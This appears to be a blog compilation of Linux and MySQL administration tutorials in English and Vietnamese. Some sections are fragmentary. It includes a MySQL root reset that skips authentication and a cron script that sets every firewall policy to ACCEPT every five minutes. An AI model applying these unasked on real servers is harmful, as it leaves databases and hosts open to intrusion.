Install Proxmox with USB

This is tutorial boot proxmox with USB. You must burn file *.iso. And then download a tool that will convert your usb stick into a bootable one (for example, unetbootin or usb universal installer).

Run program and choose: "Try Unlisted Linux ISO” --> create.

And then copy file *.iso (of proxmox) to usb.

Boot USB and type : debug (for debug)

When the boot process is completed, you will see a message similar to “no cdrom found – unable to continue (type exit or Ctrl-D to reboot)

From the console, I’ll simply type fdisk -l.

mount /dev/sdb1 /mnt (note : the /dev/sdb1 represent my stick on my system — Please change this value to reflect your settings)

mount -o loop -t iso9660 /mnt/proxmox_1-7.iso /mnt (again change accordingly based the name of your iso file… )

chroot /mnt  sbin/unconfigured.sh


If everything works as expected, you should see the ProxMox VE installer (the GUI basically) and you can go through the wizard to perform your installation.


Source: http://c-nergy.be/blog/?p=897

How to change the primary monitor in Ubuntu or other Linux distributions

Using dual or multiple monitors in Linux is relatively straightforward as most monitors are automatically detected on the major distributions. However, Gnome does not give an option for specifying which monitor is the primary - that is to say the monitor which holds the panels by default and is considered the 'default' display. Fortunately, the xrandr utility can easily switch which monitor is the primary. Copy and paste the following script into a text file called monitor-switcher.sh.

Recovery MySQL password

- Vào 1 ngày đẹp trời khi bạn quên mất password root của MySQL big green , dùng password cũ thì nó show ra 1 câu tàn nhẫn như:


Code:

ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)


- Giờ thì phải reset lại mật khẩu mysql thôi vì chúng ta là "trùm server" mà, có root server là có tất clown .

+ Đầu tiên phải stop em MySQL lại :

Code:

[root@ldtri /]# /etc/init.d/mysqld stop
Stopping MySQL:                                            [  OK  ]


+ Start lại MySQL với option --skip-grant-tables sẽ không hỏi mật khẩu:

Code:

[root@ldtri /]# mysqld_safe --skip-grant-tables &
[1] 9597
[root@ldtri /]# Starting mysqld daemon with databases from /var/lib/mysql


+ Kết nối vào MySQL mà không cần mật khẩu:

Code:

[root@ldtri /]# mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 15
Server version: 5.0.77 Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>


+ Đặt lại mật khẩu root cho mysql:

Code:

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> update user set password=PASSWORD("KVMPdM9Ao@trild") where User='root';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0

mysql> flush privileges;
Query OK, 0 rows affected (0.00 sec)

mysql> quit


+ Cuối cùng là restart lại MySQL và sử dụng mật khẩu mới nhé. devil

Nguồn: quantrilinux.com

Các lệnh MySQL thông dụng

- Tạo database, user, gán quyền :


Code:

mysql> CREATE DATABASE db_name;
Query OK, 1 row affected (0.04 sec)
mysql> CREATE USER 'user_name'@'localhost' IDENTIFIED BY 'password';
mysql> GRANT ALL ON db_name.* to 'user_name'@'localhost';
mysql> FLUSH PRIVILEGES;


Nếu không muốn gán tất cả các quyền thì thay ALL bằng các quyền chúng ta muốn gán như: SELECT, INSERT, DELETE ...

- Kiểm tra số process đang chạy:

Code:

[root@ldtri /]# mysqladmin proc
+-------+------+-----------+--------+---------+------+-------+------------------+
| Id    | User | Host      | db     | Command | Time | State | Info             |
+-------+------+-----------+--------+---------+------+-------+------------------+
| 23997 | root | localhost | zabbix | Sleep   | 53   |       |                  |
| 23999 | root | localhost | zabbix | Sleep   | 855  |       |                  |
| 24000 | root | localhost | zabbix | Sleep   | 4    |       |                  |
| 41495 | root | localhost |        | Query   | 0    |       | show processlist |
+-------+------+-----------+--------+---------+------+-------+------------------+


- Thay đổi mật khẩu root mysql:

Code:

[root@ldtri /]# mysqladmin password new-password


- Dump 1 database ra file sql:

Code:

mysqldump $dbname > $file.sql


- Restore file .sql vào 1 database:

Code:

mysql -u $user -p $dbname < $file.sql


- List danh sách database:

Code:

[root@ldtri /]# mysqlshow
+--------------------+
|     Databases      |
+--------------------+
| information_schema |
| db_name            |
| mysql              |
| test               |
| zabbix             |
+--------------------+


- Thực thi 1 lệnh mà không cần nhảy vào MySQL prompt:

Code:

[root@ldtri /]# mysql -e "show databases"


Thay "show databases" bằng các lệnh muốn chạy.

Còn gì nữa không nhẩy confused , thôi nhớ tiếp sẽ bổ sung nhá

Nguồn: quantrilinux.com

MySQL Query cache

Khi database của bạn lớn/nhiều hoặc lượng truy cập và liên tục , chắc chắn MySQL sẽ chiếm rất nhiều tài nguyên và khiến server load cao. Để hạn giảm load cho server , chúng ta có thể cache lại kết quả của các lần query vào bộ nhớ RAM. Tính năng này được MySQL hỗ trợ từ phiên bản 4.0.1 trở lên, để enable chức năng này chúng ta cần đặt các giá trị sau vào file /etc/my.cnf :

Cấu hình Dynamic DNS client trên Linux

Cấu hình Dynamic DNS client

Những người truy cập Internet bằng cách quay số điện thoại (dial-up) hay ADSL thường không được ISP cấp địa chỉ IP cố định (tại sao? xem phần tham khảo). Mỗi lần truy cập, hay mỗi lần truy cập lại do kết nối bị ngắt, người dùng thường được cấp một địa chỉ IP khác với địa chỉ IP của lần kết nối trước.

Trong những trường hợp này, thay đổi thông tin DNS theo cách bình thường (sửa zone file bằng tay!) tỏ ra bất tiện và chậm chạp. Thay vào đó, người ta cập nhật DNS bằng Dynamic DNS, cách này có những đặc điểm:

1. cập nhật tự động mỗi khi có thay đổi
2. thời hạn có nghĩa của DNS (xác định bằng “negative cache”) bé, do đó những thay đổi về DNS sẽ được cập nhật nhanh chóng

Có nhiều nơi cung cấp dịch vụ dynamic DNS (free, hoặc phải mất một khoản tiền nào đó), và có nhiều chương trình dynamic dns client. Bạn có thể chọn từ danh sách sau đây (xem phần tham khảo ở cuối bài).

Bài viết này giới thiệu cách cấu hình ddclient, một Dynamic DNS client cho máy Linux. ddlient được viết bằng Perl, có thể chạy ở chế độ daemon, thích hợp với nhiều loại router, và có thể dùng với những account của các dịch vụ DynDNS.org, ZoneEdit.

Bắt đầu viết: tháng 5 năm 2003.
Thay đổi lần cuối vào lúc: Sun Feb 1 12:47:44 JST 2004.

Cài đặt và cấu hình ddclient

Phần 1: Đăng kí một account ở DynDNS.org, hoặc ở ZoneEdit, nhớ kiểm tra userID và password trước khi sang phần 2.

Phần 2: Cài đặt ddclient

Download, giải nén, và đọc file README. Nếu đọc kĩ README, bạn có thể tự làm được mà không cần xem tiếp những điều ghi dưới đây!

// download ddclient v3.6.3
$ wget http://s90389134.onlinehome.us/ddclient/ddclient.tar.gz
// update: ddclient đã được chuyển thành một project ở sf.net
// http://sourceforge.net/projects/ddclient

// giải nén
$ tar zxvf ddclient.tar.gz
// hoặc tar jxvf ddclient.tar.bz2

// đọc file ddclient-3.6.3/README!

Copy những file cần thiết vào chỗ thích hợp

// chương trình chính
# cp ddclient-3.6.3/ddclient /usr/sbin

// file cấu hình
# cp sample-etc_ddclient.conf /etc/ddclient.conf

// chuẩn bị script khởi động
# cp sample-etc_rc.d_init.d_ddclient /etc/init.d/ddclient

Cấu hình file /etc/ddclient.conf

daemon=300 # kiểm tra IP, 5 phút (300 sec) 1 lần
syslog=yes # ghi thay đổi IP vào syslog
mail=root # thông báo thay đổi cho root
mail-failure=root # thông báo lỗi cho root
pid=/var/run/ddclient.pid # thông tin PID

### cho người dùng dyndns.org
login=userID # userID đã đăng kí với dyndns.org
password=mật khẩu DynDNS.org
server=members.dyndns.org, \
protocol=dyndns2 \
name1.dyndns.org,name2.homelinux.net

### cho người dùng ZoneEdit
server=www.zoneedit.com, \
protocol=zoneedit1, \
login=userID, \ # userID đã đăng kí với ZoneEdit
password=mật khẩu ZoneEdit \
domain1.name,domain2.name

### 2 kiểu cấu hình phổ biến
### kiểu 1
### nếu interface ppp0 được cấp global dynamic IP address
### ví dụ: trường hợp ADSL modem hoạt động như một bridge
use=if, if=ppp0 # kiểm tra IP ở interface ppp0

### kiểu 2
### nếu máy Linux chỉ có private IP address
### ví dụ: trường hợp ADSL modem hoạt động như một router (và NAT)
use=web, web=members.orgdns.org/nic/ip
### update: members.orgdns.org có vẻ không còn hoạt động
### dùng url sau đây để kiểm tra IP
### use=web, web=checkip.dyndns.org, web-skip=’Current IP Address:’

Mọi chuẩn bị như vậy là xong, chỉ còn việc khởi động ddclient

### sửa file /etc/init.d/ddclient, chỉ cho phép
### khởi động ở level 3, xong gõ lệnh
/sbin/chkconfig –add ddclient

### không biết cách sửa file /etc/init.d/ddclient thì làm
chkconfig –level 012456 ddclient off
chkconfig –level 3 ddclient on
### như vậy, mỗi lần bật máy, ddclient daemon sẽ được khởi động

### lần đầu tiên, cần khởi động ddclient bằng cách
/etc/init.d/ddclient start

Tham khảo, thông tin thêm

1. Từ lúc IP thay đổi đến lúc DNS được cập nhật, mất bao nhiêu thời gian?
* thời gian cập nhật tối đa, tính từ lúc IP thay đổi
= chu kỳ kiểm tra IP của ddclient daemon + thời gian cache thông tin DNS (negative cache)
= 300 + 60 (của DynDNS.org) = 360 sec (6 phút)
Chú ý: ở đây bỏ qua thời gian xử lý ở client, DNS server (cỡ milisec), thời gian gian truyền dữ liệu trên Internet (cỡ vài trăm milisec).
2. Tại sao không được cấp IP cố định (static global IP address)?
* còn nữa
3. Những nơi cung cấp dịch vụ Dynamic DNS và điều kiện sử dụng
* Danh sách của technopagan
4. Một vài dynamic dns client
* xem danh sách ở DynDNS.org

(Lấy từ: http://james.dyndns.ws/)

Cài đặt Zabbix trên CentOS
Đồng bộ dữ liệu trên 2 Database Server sử dụng MySQL Server



Trong bài viết này, mình sẽ tiếp tục trình bày các để đồng bộ dữ liệu giữa 2 Database Server sử dụng MySQL Server (MySQL Replication), thực hiện trên hệ điều hành CentOS 5.6
Trong mô hình này. Một Server sẽ đóng vai trò là MASTER, Server kia đóng vai trò là SLAVE.

Cài đặt MySQL Server trên CentOS



Đồng bộ dữ liệu giữa các Node trong mô hình Web Cluster

I – Giới thiệu:

Ở bài trước, mình có trình bày Cấu hình Web Cluster giúp tăng tính sẵn sàng cho hệ thống Web Server của chúng ta. Tuy nhiên, nếu một Node trong hệ thống Cluster “chết”, sau một thời gian sau Node đó “sống” trở lại thì dữ liệu trên Node không còn nhất quán với các Node còn lại nữa!. Trong bài này, mình sẽ tiếp tục trình bày về đồng bộ dữ liệu giữa các Node trong mô hình Web Cluster.

cluster_sync_0


Cấu hình Web Cluster

I – Mô hình & Yêu cầu:

Mô hình:

web_cluster_synchronization_0




Một số câu lệnh kiểm tra server khi bị tấn công DDoS

Một số câu lệnh kiểm tra server khi bị tấn công DDoS

- Kiểm tra số connection trên port 80:


Code:

netstat -n | grep :80 |wc -l


- Kiểm tra số lượng connection đang ở trạng thái SYN_RECV:

Code:

netstat -n | grep :80 | grep SYN_RECV|wc -l


- Hiển thị tất cả các IP đang kết nối và số lượng kết nối từ mỗi IP:

Code:

netstat -an|grep :80 |awk '{print $5}'|cut -d":" -f1|sort|uniq -c|sort -rn


Nếu muốn kiểm tra IP nào mở nhiều SYN thì thêm vào:

Code:

netstat -an|grep :80|grep SYN |awk '{print $5}'|cut -d":" -f1|sort|uniq -c|sort -rn


- Đối với server có nhiều IP, để kiểm tra IP nào đang bị tấn công:

Code:

netstat -plan  | grep  :80 | awk '{print $4}'| cut -d: -f1 |sort |uniq -c


Bài viết trên sẽ có vài trường hợp ra kết quả không đúng nếu như sử dụng kernel mới , IP có dạng '::ffff:192.168.1.1:80' . Để tổng quát hơn các bạn nên dùng như sau cho mọi trường hợp :

- Hiển thị tất cả các IP đang kết nối và số lượng kết nối từ mỗi IP:

Code:

[root@localhost~]# netstat -an | grep ':80' | awk '{print $5}' | sed s/'::ffff:'// | cut -d":" -f1 | sort | uniq -c


Đồng thời mình bổ xung thêm :
- Hiển thị số lượng kết nối mỗi loại (kiểm tra xem có phải bị SYN_FLOOD hay DDoS hay ko) :

Code:

root@localhost [~]# netstat -an | grep :80 | awk '{print $6}' | sort | uniq -c
61 ESTABLISHED
13 FIN_WAIT1
17 FIN_WAIT2
1 LISTEN
25 SYN_RECV
298 TIME_WAIT


Trong trường hợp đang bị tấn công , cần phải quan sát các tham số trên một các real time => dùng lệnh 'watch' :

- Hiển thị tất cả các IP đang kết nối và số lượng kết nối từ mỗi IP:

Code:

[root@localhost~]#watch  "netstat -an | grep ':80' | awk '{print \$5}' | sed s/'::ffff:'// | cut -d\":\" -f1 | sort | uniq -c"


- Hiển thị số lượng kết nối mỗi loại :

Code:

root@localhost [~]# watch "netstat -an | grep :80 | awk '{print \$6}' | sort | uniq -c"

How To Reset Linux Firewall Automatically While Testing ConfigurationWith Remote Server Over SSH Session

Q. I'd like to tell my Linux iptables firewall to flush out the current configuration every 5 minutes. This will help when I'm testing a new rules and configuration options. Some time I find myself locked out of my own remote server. How do I reset Linux firewall automatically without issuing hard reboot?

A. You can easily flush out current configuration using iptables command and shell script combo. There is no built in option for this kind of settings. So you need to write a small shell script and call it from crontab file.

Create a firewall reset shell script


Create a /root/reset.fw script:
#!/bin/bash
# reset.fw - Reset firewall
# set x to 0 - No reset
# set x to 1 - Reset firewall
# ---------------------------------------------------------------------------------------------------------------
# Added support for IPV6 Firewall
# ---------------------------------------------------------------------------------------------------------------
# Written by Vivek Gite <vivek@nixcraft.com>
# ---------------------------------------------------------------------------------------------------------------
# You can copy / paste / redistribute this script under GPL version 2.0 or above
# =============================================================
x=1

# set to true if it is CentOS / RHEL / Fedora box
RHEL=false

### no need to edit below  ###
IPT=/sbin/iptables
IPT6=/sbin/ip6tables

if [ "$x" == "1" ];
then
if [ "$RHEL" == "true" ];
then
# reset firewall using redhat script
/etc/init.d/iptables stop
/etc/init.d/ip6tables stop
else
# for all other Linux distro use following rules to reset firewall
### reset ipv4 iptales ###
$IPT -F
$IPT -X
$IPT -Z
for table in $(</proc/net/ip_tables_names)
do
$IPT -t $table -F
$IPT -t $table -X
$IPT -t $table -Z
done
$IPT -P INPUT ACCEPT
$IPT -P OUTPUT ACCEPT
$IPT -P FORWARD ACCEPT
### reset ipv6 iptales ###
$IPT6 -F
$IPT6 -X
$IPT6 -Z
for table in $(</proc/net/ip6_tables_names)
do
$IPT6 -t $table -F
$IPT6 -t $table -X
$IPT6 -t $table -Z
done
$IPT6 -P INPUT ACCEPT
$IPT6 -P OUTPUT ACCEPT
$IPT6 -P FORWARD ACCEPT
fi
else
:
fi

Set permissions:
# chmod +x /root/reset.fw
Create cronjon to reset current configuration every 5 minutes, enter
# crontab -e
OR
# vi /etc/crontab
Append following settings:
*/5 * * * * root /root/reset.fw >/dev/null 2>&1
Please remember to set x to 0 once a working configuration has been created for your Linux system.

Test Iptables Script Remotely


How do I test iptables based script remotely over ssh session? How do I avoid lock outs?

iptables do not have pf like testing option. However, you can use a shell script and cron combo or just use the following syntax:
# /sbin/service iptables restart; sleep 20; /sbin/service iptables stop &
This way you can recover from bad syntax error. If you have your own script:
# /path/to/your.script.sh; sleep 20; /sbin/service iptables stop &
Above will allow you to test changes for a while and then turn off firewall completely. You will be able to login again using ssh after 20 seconds if locked out.

Source: http://www.cyberciti.biz/faq/linux-iptables-firewall-flushout-configuration-every-5minutes/

MySQL SSH Export and Import Database in Shell Terminal

In your favorite shell you can export a MySQL database and Import using the following.
on Ubuntu, my MySQL databases are located at
/var/lib/mysql/database_name
To Export a MySQL Database run:

mysqldump -v -u username -p database_name > dumpfile.sql

To Import a MySQL Database run:

mysql -v -u username -p database_name < dumpfile.sql

Source: http://stuffthatspins.com/2011/05/06/mysql-ssh-export-and-import-database-in-shell-terminal-dump/

UBUNTU check free memory and free mem empty cache

check memory usage:

cat /proc/meminfo

or

free

free command displays amount of total, free and used physical memory (RAM) in the system, as well as shoing information on shared memory, buffers, cached memory and swap space used by the Linux kernel.

Syntax of free

free -[options]

Example usage of free

free -m

The command will display information about physical memory in MB.

free -m -s 5

The command will activate continuous polling delay at 5 seconds apart, and then display memory status in megabytes on terminal. Any floating point number for delay can be specified.

free -t -m

Same with “free -m”, but -t switch will display a line containing the totals of physical memory and swap space.

vmstat

vmstat reports report virtual memory statistics, which has information about processes, swap, free, buffer and cache memory, paging space, disk IO activity, traps, interrupts, context switches and CPU activity. With vmstat command, administrators can has instantaneous reports on memory usage.

Syntax of vmstat

vmstat -[options] [delay count]

Example usage of vmstat

vmstat

The command will display report based on averages since last reboot.

vmstat 5

The command will pool average system resources usage level for a sampling period of 5 seconds at interval of 5 seconds, except the first result that is averages since the last reboot.

empty / free up memory caches

To free pagecache:
echo 1 > /proc/sys/vm/drop_caches

To free dentries and inodes:

echo 2 > /proc/sys/vm/drop_caches

To free pagecache, dentries and inodes:

echo 3 > /proc/sys/vm/drop_caches

As this is a non-destructive operation and dirty objects are not freeable, the user should run “sync” first!

This was originally found @ http://www.linuxinsight.com/proc_sys_vm_drop_caches.html

Source: http://stuffthatspins.com/2011/01/20/ubuntu-check-free-memory-and-free-mem-empty-cache/

Một số lệnh Linux cơ bản

Khi "kết thân" với Linux, nếu không nắm được một số câu lệnh cần thiết thì công việc quản trị của bạn sẽ gặp không ít khó khăn. Dưới đây là một số lệnh Linux cơ bản giúp cho việc quản trị của bạn dễ dàng hơn rất nhiều.

1. Hiển thị tiến trình trong hệ thống Linux

Một trong những công việc cần thiết khi quản trị hệ thống Linux đó là kiểm soát các tiến trình hiện đang chạy. Khi đã biết được những tiến trình nào đang chạy bạn có thể tắt những tiến trình gây giảm tốc độ của hệ thống. Ngoài ra, thông tin về những tiến trình hệ thống cho chúng ta biết nên tắt nhưng tiến trình làm cho hệ thống vận hành không ổn định. Do đó việc biết được những tiến trình nào đang chạy trên hệ thống rất quan trọng. Linux hỗ trợ nhiều phương pháp kiểm tra tiến trình, một trong số đó là sử dụng lệnh ps. Khi sử dụng lệnh này mọi thông tin về những tiến trình đang chạy sẽ được hiển thị. Bạn chỉ cần nhập cú pháp lệnh sau vào cửa sổ terminal:

# ps aux | less



Hình 1: Thông tin tiến trình đang chạy trong hệ thống.

Ngoài ra lệnh này có thể sử dụng kết hợp với một số tham số khác như:
# ps –A: Kiểm tra mọi tiến trình trong hệ thống.
# ps -U root -u root –N: Kiểm tra mọi tiến trình ngoại trừ những tiến trình hệ thống.
# ps -u username: Kiểm tra những tiến trình được thực hiện bởi một người dùng nhất định.

Hoặc bạn có thể sử dụng lệnh # top để xem những tiến trình đang chạy trên hệ thống trong thời gian thực.

2. Kiểm tra thông tin Socket và thông tin mạng TCP/UDP

Sau khi cấu hình những dịch vụ mạng của hệ thống Linux, bạn cần phải giữ lại tab của các cổng đang thực sự nhận tín hiệu trên giao diện mạng của hệ thống. Điều này rất quan trọng vì hệ thống có thể bị xâm nhập qua các cổng mở. Có một số công cụ quản lý Linux thông báo cho bạn biết thông tin của những cổng mởvà truy cập vào những cổng đang mở trên mạng. Một trong những phương pháp đơn giản và tin cậy nhất đó là sử dụng lệnh ss để kiểm tra thông tin Socket, ngoài ra lệnh này còn có thể hiển thị nhiều thông tin TCP và thông tin trạng thái hơn các công cụ khác. Lệnh ss này cung cấp thông tin về:
  • Mọi Socket TCP.
  • Mọi Socket UDP.
  • Mọi kết nối ssh/ftp/http/https.
  • Mọi tiến trình cục bộ được kết nối tới máy chủ X.
  • Mọi Socket TCP trong trạng thái FIN-WAIT-1.

Dưới đây là một số lệnh ss:
# ss –s: Hiển thị tổng số Socket.



Hình 2: Thông tin kết xuất khi chạy lệnh # ss –s.

# ss -1: Hiển thị mọi cổng mở.



Hình 3: Thông tin kết xuất khi chạy lệnh # ss -1.

# ss –pl: Kiểm tra tên tiến trình sử dụng Socket mở sử dụng lệnh sau:

# ss -lp | grep: Kiểm tra người dùng đang làm việc với Socket mở.

# ss -t –a: Hiển thị mọi Socket TCP.

# ss -u –a: Hiển thị mọi Socket UDP.

3. Theo dõi Average CPU Load và Disk Activity

Nếu là một quản trị viên hệ thống Linux, bạn cần phải biết phương pháp duy trì một sự cân bằng hợp lý trong quá trình tải đầu vào và đầu ra giữa các ổ đĩa vật lý. Bạn có thể thay đổi cấu hình hệ thống để thực hiện tác vụ này. Tuy nhiên có một phương pháp đơn giản hơn rất nhiều đó là sử dụng lệnh isostat để quản lý hệ thống thiết bị tải đầu vào và đầu ra trong Linux bằng cách theo dõi thời gian hoạt động và tốc độ truyền trung bình của những thiết bị này. Lệnh này sẽ thông báo thông tin của CPU (Central Processing Unit), thông tin đầu vào và đầu ra cho những thiết bị, phân vùng và hệ thống file mạng (NFS).
Khi chạy lệnh isostat thông tin kết xuất có dạng:


Hình 4: Thông tin hiển thị khi chạy lệnh isostat.

Để lấy thông tin thư mục NFS bạn hãy sử dụng lệnh sau:
# iostat –n

4. Kiểm tra Memory Map của các tiến trình trong Linux

Khi làm việc trong hệ thống Linux có thể bạn cần kiểm tra dung lượng bộ nhớ sử dụng trong hệ thống. Linux tích hợp nhiều lệnh cho phép kiểm tra dung lượng bộ nhớ chiếm dụng. Trong đó có một lệnh đơn giản giúp hiển thị thông tin tổng dung lượng đã chiếm dụng và chưa chiếm dụng của bộ nhớ vật lý và tổng dung lượng bộ nhớ đó là lệnh free.

Sau khi chạy lệnh này bạn sẽ thấy tổng dung lượng đã chiếm dụng và chưa chiếm dụng của bộ nhớ vật lý và tổng dung lượng bộ nhớ trong hệ thống. Ngoài ra nó còn hiển thị thông tin bộ nhớ đệm mà các nhân sử dụng.


Hình 5: Thông tin hiển thị sau khi chạy lệnh free


5. Kiểm tra thời gian vận hành của hệ thống


Bạn có muốn biết máy chủ đã vận hành bao lâu? Nếu muốn bạn chỉ cần sử dụng lênh uptime để kiểm tra thời gian mà hệ thống đã vận hành. Lệnh đơn giản này không chỉ cho bạn biết thời gian hệ thống vận hành mà còn cho biết lượng người dùng đã đăng nhập vào hệ thống trong một khoảng thời gian trước đó.


Hình 6: Kết quả lệnh uptime.

6. Kiểm tra người dùng đăng nhập

Ngoài những công cụ quản lý Linux, bạn có thể sử dụng một lệnh để kiểm tra những người dùng nào đã thực hiên đăng nhập vào hệ thống và những gì họ đã thực hiện. Lệnh này sẽ hiển thị thời gian hiện tại, thời gian hệ thống đã vận hành, lượng người dùng đã đăng nhập.

Ngoài ra lệnh này cũng hiển thị lượng tải trung bình trong mỗi 1, 5 và 15 phút. Lệnh này rất hữu dụng với những Admin hệ thống muốn sử dụng thông tin tải trung bình để hoạch định dung lượng.

Để kiểm tra ai đã đăng nhập vào hệ thống và những tác vụ họ đã thực hiện bạn chỉ cần chạy lệnh sau:
# w username



Hình 7: Thông tin hiển thị sau khi chạy lệnh # w username.

7. Kiểm soát hành vi hệ thống, phần cứng và thông tin hệ thống trong Linux

Với nhiều người dùng Linux, kiểm soát hệ thống là một tác vụ phức tạp. Hầu hết các bản phân phối Linux tích hợp khá nhiều công cụ kiểm soát. Những công cụ kiểm soát này cung cấp các phương pháp có thể được áp dụng để kiểm tra thông tin hành vi hệ thống. Việc kiểm soát hệ thống cho phép người dùng theo dõi nguyên nhân khả năng thực thi của hệ thống bị cản trở. Một trong những tác vụ cần thiết của quá trình kiểm soát hệ thống là tra cứu thông tin về hành vi hệ thống, phần cứng và thông tin bộ nhớ. Có một lệnh đơn giản giúp hiển thị thông tin về tiến trình, bộ nhớ, trang ghi, nhóm IO, lỗi và hành vi CPU đó là lệnh vmstat.

Bạn chỉ cần nhập lệnh sau vào cửa sổ terminal:
# vmstat 3


Hình 8: Thông tin kết xuất của lệnh # vmstat 3.

Ngoài ra bạn có thể sử dụng lệnh # vmstat –m để kiểm tra thông tin bộ nhớ, và lệnh # vmstat –a để hiển thị thông tin trang nhớ đang hoạt động và không hoạt động.


Hình 9: Thông tin hiển thị sau khi chạy lệnh # vmstat –a.

8. Kiểm tra thông tin phần cứng của hệ thống Linux

Với một số người dùng Linux thì việc kiểm tra thông tin phần cứng thật không dễ dàng. Linux là một hệ thống phức tạp nhưng nó lại tích hợp một số công cụ giúp lấy thông tin chi tiết của phần cứng, chẳng hạn chúng ta có thể sử dụng một lệnh khá đơn giản để kiểm tra thông tin đĩa cứng trên hệ thống đó là lệnh hdparm. Lệnh này cung cấp một giao diện dòng lệnh để thực hiện quản lý nhiều loại đĩa cứng được hệ thống phụ điều khiển thiết bị ATA/IDE của Linux hỗ trợ. Nó cung cấp một lệnh giúp hiển thị thông tin xác minh như dung lượng, thông tin chi tiết, … trực tiếp từ ổ đĩa. Thông tin này được lưu dưới một định dạng mở rộng mới. Bạn chỉ cần đăng nhập dưới quyền root user và sử dụng lệnh sau:
# hdparm -I /dev/sda

Hoặc dùng lệnh:
$ sudo hdparm -I /dev/sda

Khi đó thông tin về đĩa cứng của hệ thống sẽ lập tức hiển thị.


Hình 10: Thông tin chi tiết của đĩa cứng .

Nhận dạng thiết bị trong Linux bằng Window driver

Như chúng ta đã biết, Linux có 1 nền tảng hỗ trợ phần cứng khá đa dạng, nhưng bạn sẽ làm gì nếu hệ điều hành Linux đang sử dụng không nhận diện chính xác một thiết bị nào đó. Trong bài viết dưới đây, chúng tôi sẽ trình bày một số bước cơ bản để khắc phục vấn đề này bằng Windows driver và ndiswrapper.

Cụ thể chúng tôi sẽ tiến hành thử nghiệm với thiết bị card Wireless. Việc sử dụng driver của Windows trong nền tảng Linux có thể sẽ giúp card Wireless có tốc độ truyền tải dữ liệu nhanh hơn và hỗ trợ khả năng mã hóa tốt hơn. Nhưng nếu thiết bị hoạt động bình thường, chúng tôi khuyến cáo các bạn không nên tiếp tục vì sẽ gây ra sự xung đột với driver sẵn có của Linux.

Việc trước tiên cần làm là tìm ra thông tin, nguồn gốc chính xác của thiết bị. Ví dụ như ở trong bài thử nghiệm này là mẫu AE1000 của Cisco:



Sau đó, truy cập vào trang chủ và tải driver dành cho Windows. Tốt nhất là các bạn nên tải phiên bản driver dành cho Windows XP 32-bit dưới dạng .zip thay vì .exe. Nếu không, hãy chọn bản dành cho hệ điều hành Windows mới nhất. Sau đó, giải nén file bằng chương trình thích hợp:



Sau đó, tiến hành cài đặt Ndiswrapper qua Software Center của Ubuntu. Lưu ý rằng công cụ này đã được cài đặt sẵn trong Linux Mint:



Tiếp đó, các bạn mở Windows Wireless Drivers từ System -> Administration:



Chọn tiếp Install New Driver và trỏ tới thư mục vừa giải nén driver ở bước trên:



Đôi khi file .inf nằm trong thư mục con bên trong, cho nên bạn cần tìm kỹ:



Sau khi chọn được file .inf thích hợp, nhấn Install. Quá trình này diễn ra trong khoảng 1 – 2 phút:



Khi kết thúc quá trình này, trong cửa sổ chính của chương trình sẽ hiển thị các driver phù hợp đi kèm với file .inf bên phải. Nếu bạn chọn nhầm driver trong lần đầu tiên, các bạn hãy thử lại với file .inf khác. Trong trường hợp không có file .inf nào hoạt động, thì bạn hãy thử với các phiên bản Windows khác, ví dụ như Windows, Vista, 7:



Khi hoàn tất, chúng ta chỉ việc mở mục Ubuntu Network Connections và tiến hành kết nối như bình thường:



Chúc các bạn thành công!

Tìm hiểu về /dev/null

Trong quá trình sử dụng linux hay xem các bài hướng dẫn bảo mật chắc các bạn đã từng nghe nhiều đến một file đặt biệt trong hệ thống các file của linux là file /dev/null. Hôm nay tớ xin viết một bài giới thiệu về file này để các bạn cùng hiểu thêm về hệ thống file của linux, ngoài ra có thể áp dụng nó trong việc bảo mật.

1. Trong linux mọi thứ là file.

Điều căn bản này rất quan trọng nên tớ xin nhấn mạnh lại một lần nữa, hệ điều hành linux xem mọi thứ đều là "file" và theo định nghĩa thì file là" a block of arbitrary information, or resource for storing information".

Vì vậy dễ dàng nhận thấy đối với linux thì folder cũng là file. Nhưng để làm việc hiệu quả thì linux cũng cần phải chia ra làm nhiều loại file khác nhau phục vụ cho công việc, thông thường thì có 7 loại chính sau đây.

Code:

d = directory
l = symbolic link
s = socket
p = named pipe
- = regular file
c = character (unbuffered) device file special
b = block (buffered) device file special

Các bạn thử gõ lệnh sau đây xem
Code:

ls -al /dev/null

Kết quả cho ra sẽ là
Code:

crw-rw-rw- 1 root root 1, 3 2011-04-26 13:00 /dev/null

Vậy nên có thể kết luận /dev/null là loại "character (unbuffered) device file special" (nội dung bài này không phải là phân tích cấu trúc các file linux nên phần này tớ bỏ qua không giải thích nhé).

2. Đặt điểm của /dev/null

/dev/null (còn gọi là "the null device") là một file có đặt điểm là vứt bỏ (discards) mọi dữ liệu mà người dùng ghi vào trong nó (thường thông qua các lệnh chuyển hướng của shell hay các lệnh mv, cp,...), nhưng nó vẫn báo là hoàn thành quá trình ghi vào chớ không sinh ra lỗi. Và vì file này không lưu gì vào trong cả nên dĩ nhiên là cũng không xuất ra bất cứ cái gì.

Người ta xem như nó là một "lỗ đen" trong máy tính, có tác dụng thu nhận mọi thứ và không giới hạn, nhưng chả trả lại cái gì cả

3. Ứng dụng của file /dev/null

Dựa vào trong những đặt điểm trên của file /dev/null, nó được ứng dụng rộng rãi kể cả trong bảo mật (thậm chí mục tiêu bảo mật là chính), một vài ứng dụng của nó trong bảo mật là:

- Các gói tin nào không phù hợp thường được firewall chuyển vào trong /dev/null
- Các email server cũng thường được config để chuyển các email spam vào trong /dev/null giúp không bị đầy hdd
- Trong các chương trình bắt buộc phải có đầu ra dữ liệu, nhưng vì bảo mật bạn không muốn nó xuất hiện các thông tin đầu ra ví dụ .bash_history của root thì cũng có thể dùng /dev/null
- Ngoài ra các bạn còn có thể tạo các file rỗng bằng cách lấy dữ liệu trong /dev/null ra.
- ... và còn nhiều thứ nữa.

Install WordPress on CentOS/RHEL in Five Minutes Flat (remix)

INSTALL THE SYSTEM PREREQUISITES


# yum install mysql-server httpd nano php php-mysql
# chkconfig httpd on
# chkconfig mysqld on
# service mysqld start
# service httpd start

CREATE THE DATABASE


# mysqladmin create wordpress
# mysql
mysql> GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpress'@'localhost' IDENTIFIED BY 'please+use+a+strong+password';
mysql> FLUSH PRIVILEGES;
mysql> quit

DOWNLOAD AND INSTALL WORDPRESS


# cd /var/www/
